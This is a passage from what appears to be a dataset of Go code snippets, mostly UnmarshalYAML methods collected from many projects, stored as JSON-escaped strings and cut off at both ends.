return an error\\n\\t\\treturn errors.Errorf(\\n\\t\\t\\t\\\"group configuration, unexpected yaml value %s: %s (line %d col %d)\\\", lastId, c.Value, c.Line, c.Column)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultConfig\\n\\tc.LogsLabels = make(map[string]string)\\n\\ttype plain Config\\n\\treturn unmarshal((*plain)(c))\\n}\",\n \"func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar err error\\n\\tvar str string\\n\\tif err = unmarshal(&str); err == nil {\\n\\t\\tw.Command = str\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar commandArray []string\\n\\tif err = unmarshal(&commandArray); err == nil {\\n\\t\\tw.Commands = commandArray\\n\\t\\treturn nil\\n\\t}\\n\\treturn nil //TODO: should be an error , something like UNhhandledError\\n}\",\n \"func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\" \\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (c *MailConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain MailConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *rawMessage) UnmarshalYAML(b []byte) error {\\n\\t*r = b\\n\\treturn nil\\n}\",\n \"func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&r.ScalingConfig); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif !r.ScalingConfig.IsEmpty() {\\n\\t\\t// Successfully unmarshalled ScalingConfig fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := value.Decode(&r.Value); err != nil {\\n\\t\\treturn errors.New(`unable to unmarshal into int or composite-style map`)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar addRaw opAddRaw\\n\\terr := unmarshal(&addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func (s *MaporColonSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\":\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&b.Kv)\\n}\",\n \"func (c *SlackConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultSlackConfig\\n\\ttype plain SlackConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn checkOverflow(c.XXX, \\\"slack config\\\")\\n}\",\n \"func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tlbSet := model.LabelSet{}\\n\\terr := unmarshal(&lbSet)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tv.LabelSet = lbSet\\n\\treturn nil\\n}\",\n \"func (b *brokerOutputList) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tgenericOutputs := []interface{}{}\\n\\tif err := unmarshal(&genericOutputs); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\toutputConfs, err := parseOutputConfsWithDefaults(genericOutputs)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*b = outputConfs\\n\\treturn nil\\n}\",\n \"func parseYaml(yaml string) (*UnstructuredManifest, error) {\\n\\trawYamlParsed := &map[string]interface{}{}\\n\\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tunstruct := meta_v1_unstruct.Unstructured{}\\n\\terr = unstruct.UnmarshalJSON(rawJSON)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tmanifest := &UnstructuredManifest{\\n\\t\\tunstruct: &unstruct,\\n\\t}\\n\\n\\tlog.Printf(\\\"[DEBUG] %s Unstructed YAML: %+v\\\\n\\\", manifest, manifest.unstruct.UnstructuredContent())\\n\\treturn manifest, nil\\n}\",\n \"func (p *Package) UnmarshalYAML(value *yaml.Node) error {\\n\\tpkg := &Package{}\\n\\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\\n\\tvar err error // for use in the switch below\\n\\n\\tlog.Trace().Interface(\\\"Node\\\", value).Msg(\\\"Pkg UnmarshalYAML\\\")\\n\\tif value.Tag != \\\"!!map\\\" {\\n\\t\\treturn fmt.Errorf(\\\"unable to unmarshal yaml: value not map (%s)\\\", value.Tag)\\n\\t}\\n\\n\\tfor i, node := range value.Content {\\n\\t\\tlog.Trace().Interface(\\\"node1\\\", node).Msg(\\\"\\\")\\n\\t\\tswitch node.Value {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tpkg.Name = value.Content[i+1].Value\\n\\t\\t\\tif pkg.Name == \\\"\\\" {\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t}\\n\\t\\tcase \\\"version\\\":\\n\\t\\t\\tpkg.Version = value.Content[i+1].Value\\n\\t\\tcase \\\"present\\\":\\n\\t\\t\\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Error().Err(err).Msg(\\\"can't parse installed field\\\")\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tlog.Trace().Interface(\\\"pkg\\\", pkg).Msg(\\\"what's in the box?!?!\\\")\\n\\t*p = *pkg\\n\\n\\treturn nil\\n}\",\n \"func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar runSlice []*Run\\n\\tsliceCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runSlice) },\\n\\t\\tAssign: func() { *rl = runSlice },\\n\\t}\\n\\n\\tvar runItem *Run\\n\\titemCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *rl = RunList{runItem} },\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\\n}\",\n \"func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\terr := unmarshal(&str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*key, err = NewPrivateKey(str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = UserGroupAccessString(s)\\n\\treturn err\\n}\",\n \"func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar cl CommandList\\n\\tcommandCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&cl) },\\n\\t\\tAssign: func() { *r = Run{Command: cl} },\\n\\t}\\n\\n\\ttype runType Run // Use new type to avoid recursion\\n\\tvar runItem runType\\n\\trunCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *r = Run(runItem) },\\n\\t\\tValidate: func() error {\\n\\t\\t\\tactionUsedList := []bool{\\n\\t\\t\\t\\tlen(runItem.Command) != 0,\\n\\t\\t\\t\\tlen(runItem.SubTaskList) != 0,\\n\\t\\t\\t\\trunItem.SetEnvironment != nil,\\n\\t\\t\\t}\\n\\n\\t\\t\\tcount := 0\\n\\t\\t\\tfor _, isUsed := range actionUsedList {\\n\\t\\t\\t\\tif isUsed {\\n\\t\\t\\t\\t\\tcount++\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif count > 1 {\\n\\t\\t\\t\\treturn errors.New(\\\"only one action can be defined in `run`\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\\n}\",\n \"func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar strVal string\\n\\terr := unmarshal(&strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tparsed, err := Parse(strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*b = parsed\\n\\treturn nil\\n}\",\n \"func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate bool\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tb.set(candidate)\\n\\treturn nil\\n}\",\n \"func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar res map[string]interface{}\\n\\tif err := unmarshal(&res); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr := mapstructure.Decode(res, &at)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\\n\\t\\tat.NonApplicable = true\\n\\t}\\n\\treturn nil\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\\n\\t}\\n\\n\\tvar spec docs.ComponentSpec\\n\\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\\n\\t\\treturn docs.NewLintError(value.Line, docs.LintComponentMissing, err.Error())\\n\\t}\\n\\n\\tif spec.Plugin {\\n\\t\\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\\n\\t\\t}\\n\\t\\taliased.Plugin = &pluginNode\\n\\t} else {\\n\\t\\taliased.Plugin = nil\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype raw Config\\n\\tvar cfg raw\\n\\tif c.URL.URL != nil {\\n\\t\\t// we used flags to set that value, which already has sane default.\\n\\t\\tcfg = raw(*c)\\n\\t} else {\\n\\t\\t// force sane defaults.\\n\\t\\tcfg = raw{\\n\\t\\t\\tBackoffConfig: util.BackoffConfig{\\n\\t\\t\\t\\tMaxBackoff: 5 * time.Second,\\n\\t\\t\\t\\tMaxRetries: 5,\\n\\t\\t\\t\\tMinBackoff: 100 * time.Millisecond,\\n\\t\\t\\t},\\n\\t\\t\\tBatchSize: 100 * 1024,\\n\\t\\t\\tBatchWait: 1 * time.Second,\\n\\t\\t\\tTimeout: 10 * time.Second,\\n\\t\\t}\\n\\t}\\n\\n\\tif err := unmarshal(&cfg); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*c = Config(cfg)\\n\\treturn nil\\n}\",\n \"func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar mvList []string\\n\\tif err := unmarshal(&mvList); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMoves(mvList)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*moves = parsed\\n\\treturn nil\\n}\",\n \"func UnmarshalInlineYaml(obj map[string]interface{}, targetPath string) (err error) {\\n\\tnodeList := strings.Split(targetPath, \\\".\\\")\\n\\tif len(nodeList) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"targetPath '%v' length is zero after split\\\", targetPath)\\n\\t}\\n\\n\\tcur := obj\\n\\tfor _, nname := range nodeList {\\n\\t\\tndata, ok := cur[nname]\\n\\t\\tif !ok || ndata == nil { // target path does not exist\\n\\t\\t\\treturn fmt.Errorf(\\\"targetPath '%v' doest not exist in obj: '%v' is missing\\\",\\n\\t\\t\\t\\ttargetPath, nname)\\n\\t\\t}\\n\\t\\tswitch nnode := ndata.(type) {\\n\\t\\tcase map[string]interface{}:\\n\\t\\t\\tcur = nnode\\n\\t\\tdefault: // target path type does not match\\n\\t\\t\\treturn fmt.Errorf(\\\"targetPath '%v' doest not exist in obj: \\\"+\\n\\t\\t\\t\\t\\\"'%v' type is not map[string]interface{}\\\", targetPath, nname)\\n\\t\\t}\\n\\t}\\n\\n\\tfor dk, dv := range cur {\\n\\t\\tswitch vnode := dv.(type) {\\n\\t\\tcase string:\\n\\t\\t\\tvo := make(map[string]interface{})\\n\\t\\t\\tif err := yaml.Unmarshal([]byte(vnode), &vo); err != nil {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\t// Replace the original text yaml tree node with yaml objects\\n\\t\\t\\tcur[dk] = vo\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func (r *Discriminator) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tobj := make(map[string]interface{})\\n\\tif err := unmarshal(&obj); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif value, ok := obj[\\\"propertyName\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.PropertyName = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"mapping\\\"]; ok {\\n\\t\\tif value, ok := cleanupMapValue(value).(map[string]interface{}); ok {\\n\\t\\t\\ts := make(map[string]string, len(value))\\n\\t\\t\\tfor k, v := range value {\\n\\t\\t\\t\\ts[k] = fmt.Sprint(v)\\n\\t\\t\\t}\\n\\t\\t\\tr.Mapping = s\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *Mount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Alias Mount\\n\\taux := &struct {\\n\\t\\tPropagation string `yaml:\\\"propagation\\\"`\\n\\t\\t*Alias\\n\\t}{\\n\\t\\tAlias: (*Alias)(m),\\n\\t}\\n\\tif err := unmarshal(&aux); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// if unset, will fallback to the default (0)\\n\\tif aux.Propagation != \\\"\\\" {\\n\\t\\tval, ok := MountPropagationNameToValue[aux.Propagation]\\n\\t\\tif !ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"unknown propagation value: %s\\\", aux.Propagation)\\n\\t\\t}\\n\\t\\tm.Propagation = MountPropagation(val)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&tf.Tasks); err == nil {\\n\\t\\ttf.Version = \\\"1\\\"\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar taskfile struct {\\n\\t\\tVersion string\\n\\t\\tExpansions int\\n\\t\\tOutput string\\n\\t\\tIncludes yaml.MapSlice\\n\\t\\tVars Vars\\n\\t\\tEnv Vars\\n\\t\\tTasks Tasks\\n\\t}\\n\\tif err := unmarshal(&taskfile); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Version = taskfile.Version\\n\\ttf.Expansions = taskfile.Expansions\\n\\ttf.Output = taskfile.Output\\n\\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Includes = includes\\n\\ttf.IncludeDefaults = defaultInclude\\n\\ttf.Vars = taskfile.Vars\\n\\ttf.Env = taskfile.Env\\n\\ttf.Tasks = taskfile.Tasks\\n\\tif tf.Expansions <= 0 {\\n\\t\\ttf.Expansions = 2\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultConfig\\n\\n\\ttype plain Config\\n\\treturn unmarshal((*plain)(c))\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultConfig\\n\\n\\ttype plain Config\\n\\treturn unmarshal((*plain)(c))\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&d.raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := d.init(); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"verifying YAML data: %s\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func unmarsharlYaml(byteArray []byte) Config {\\n\\tvar cfg Config\\n\\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"error: %v\\\", err)\\n\\t}\\n\\treturn cfg\\n}\",\n \"func (m *OrderedMap[K, V]) UnmarshalYAML(b []byte) error {\\n\\tvar s yaml.MapSlice\\n\\tif err := yaml.Unmarshal(b, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif len(s) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\tresult := OrderedMap[K, V]{\\n\\t\\tidx: map[K]int{},\\n\\t\\titems: make([]OrderedMapItem[K, V], len(s)),\\n\\t}\\n\\tfor i, item := range s {\\n\\t\\tkb, err := yaml.Marshal(item.Key)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvar k K\\n\\t\\tif err := yaml.Unmarshal(kb, &k); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvb, err := yaml.Marshal(item.Value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvar v V\\n\\t\\tif err := yaml.UnmarshalWithOptions(vb, &v, yaml.UseOrderedMap(), yaml.Strict()); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tresult.idx[k] = i\\n\\t\\tresult.items[i].Key = k\\n\\t\\tresult.items[i].Value = v\\n\\t}\\n\\t*m = result\\n\\treturn nil\\n}\",\n \"func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate int\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ti.set(candidate)\\n\\treturn nil\\n}\",\n \"func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar u64 uint64\\n\\tif unmarshal(&u64) == nil {\\n\\t\\tAtomicStoreByteCount(bc, ByteCount(u64))\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar s string\\n\\tif unmarshal(&s) == nil {\\n\\t\\tv, err := ParseByteCount(s)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"%q: %w: %v\\\", s, ErrMalformedRepresentation, err)\\n\\t\\t}\\n\\t\\tAtomicStoreByteCount(bc, v)\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"%w: unexpected type\\\", ErrMalformedRepresentation)\\n}\",\n \"func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\n\\tif err := unmarshal(&s); err == nil {\\n\\t\\ti.File = s\\n\\t\\treturn nil\\n\\t}\\n\\tvar str struct {\\n\\t\\tFile string `yaml:\\\"file,omitempty\\\"`\\n\\t\\tRepository string `yaml:\\\"repository,omitempty\\\"`\\n\\t\\tNamespaceURI string `yaml:\\\"namespace_uri,omitempty\\\"`\\n\\t\\tNamespacePrefix string `yaml:\\\"namespace_prefix,omitempty\\\"`\\n\\t}\\n\\tif err := unmarshal(&str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ti.File = str.File\\n\\ti.Repository = str.Repository\\n\\ti.NamespaceURI = str.NamespaceURI\\n\\ti.NamespacePrefix = str.NamespacePrefix\\n\\treturn nil\\n}\",\n \"func (d *DurationMillis) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate int\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ttc := OfMilliseconds(candidate)\\n\\t*d = tc\\n\\treturn nil\\n}\",\n \"func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar val string\\n\\tif err := unmarshal(&val); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn d.FromString(val)\\n}\",\n \"func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\\n\\tvar d string\\n\\tif err = value.Decode(&d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// check data format\\n\\tif err := checkDateFormat(d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*date = Date(d)\\n\\treturn nil\\n}\",\n \"func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn f.setFromString(s)\\n}\",\n \"func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMove(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*mv = *parsed\\n\\treturn nil\\n}\",\n \"func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\\n\\tvar j string\\n\\terr := yaml.Unmarshal([]byte(n.Value), &j)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\\n\\t*s = toID[j]\\n\\treturn nil\\n}\",\n \"func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar boolType bool\\n\\tif err := unmarshal(&boolType); err == nil {\\n\\t\\te.External = boolType\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar structType = struct {\\n\\t\\tName string\\n\\t}{}\\n\\tif err := unmarshal(&structType); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif structType.Name != \\\"\\\" {\\n\\t\\te.External = true\\n\\t\\te.Name = structType.Name\\n\\t}\\n\\treturn nil\\n}\",\n \"func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = UOMString(s)\\n\\treturn err\\n}\",\n \"func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar value string\\n\\tif err := unmarshal(&value); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := t.Set(value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to parse '%s' to Type: %v\\\", value, err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar rawTask map[string]interface{}\\n\\terr := unmarshal(&rawTask)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to unmarshal task: %s\\\", err)\\n\\t}\\n\\n\\trawName, ok := rawTask[\\\"name\\\"]\\n\\tif !ok {\\n\\t\\treturn errors.New(\\\"missing 'name' field\\\")\\n\\t}\\n\\n\\ttaskName, ok := rawName.(string)\\n\\tif !ok || taskName == \\\"\\\" {\\n\\t\\treturn errors.New(\\\"'name' field needs to be a non-empty string\\\")\\n\\t}\\n\\n\\tt.Name = taskName\\n\\n\\t// Delete name field, since it doesn't represent an action\\n\\tdelete(rawTask, \\\"name\\\")\\n\\n\\tfor actionType, action := range rawTask {\\n\\t\\taction, err := actions.UnmarshalAction(actionType, action)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"failed to unmarshal action %q from task %q: %s\\\", actionType, t.Name, err)\\n\\t\\t}\\n\\n\\t\\tt.Actions = append(t.Actions, action)\\n\\t}\\n\\n\\tif len(t.Actions) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"task %q has no actions\\\", t.Name)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmashal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdur, err := time.ParseDuration(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = duration(dur)\\n\\treturn nil\\n}\",\n \"func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate float64\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tf.set(candidate)\\n\\treturn nil\\n}\",\n \"func (vl *valueList) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\n\\tvar err error\\n\\n\\tvar valueSlice []value\\n\\tif err = unmarshal(&valueSlice); err == nil {\\n\\t\\t*vl = valueSlice\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar valueItem value\\n\\tif err = unmarshal(&valueItem); err == nil {\\n\\t\\t*vl = valueList{valueItem}\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn err\\n}\",\n \"func (c *EtcdConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultEtcdConfig\\n\\t// We want to set c to the defaults and then overwrite it with the input.\\n\\t// To make unmarshal fill the plain data struct rather than calling UnmarshalYAML\\n\\t// again, we have to hide it using a type indirection.\\n\\ttype plain EtcdConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *BootstrapMode) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\tif err := unmarshal(&str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// If unspecified, use default mode.\\n\\tif str == \\\"\\\" {\\n\\t\\t*m = DefaultBootstrapMode\\n\\t\\treturn nil\\n\\t}\\n\\n\\tfor _, valid := range validBootstrapModes {\\n\\t\\tif str == valid.String() {\\n\\t\\t\\t*m = valid\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\treturn fmt.Errorf(\\\"invalid BootstrapMode '%s' valid types are: %s\\\",\\n\\t\\tstr, validBootstrapModes)\\n}\",\n \"func LoadYaml(data []byte) ([]runtime.Object, error) {\\n\\tparts := bytes.Split(data, []byte(\\\"---\\\"))\\n\\tvar r []runtime.Object\\n\\tfor _, part := range parts {\\n\\t\\tpart = bytes.TrimSpace(part)\\n\\t\\tif len(part) == 0 {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tobj, _, err := scheme.Codecs.UniversalDeserializer().Decode([]byte(part), nil, nil)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tr = append(r, obj)\\n\\t}\\n\\treturn r, nil\\n}\",\n \"func DecodeFromYAML(ctx context.Context, yaml []byte) (*Object, error) {\\n\\tobj, err := runtime.Decode(decoder, yaml)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to decode yaml into object\\\")\\n\\t}\\n\\tobjUn, ok := obj.(*unstructured.Unstructured)\\n\\tif !ok {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to convert object to Unstructured\\\")\\n\\t}\\n\\treturn &Object{\\n\\t\\tobjUn,\\n\\t}, nil\\n}\",\n \"func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = InterfaceString(s)\\n\\treturn err\\n}\",\n \"func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tp, err := ParseEndpoint(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*ep = *p\\n\\treturn nil\\n}\",\n \"func (c *Count) 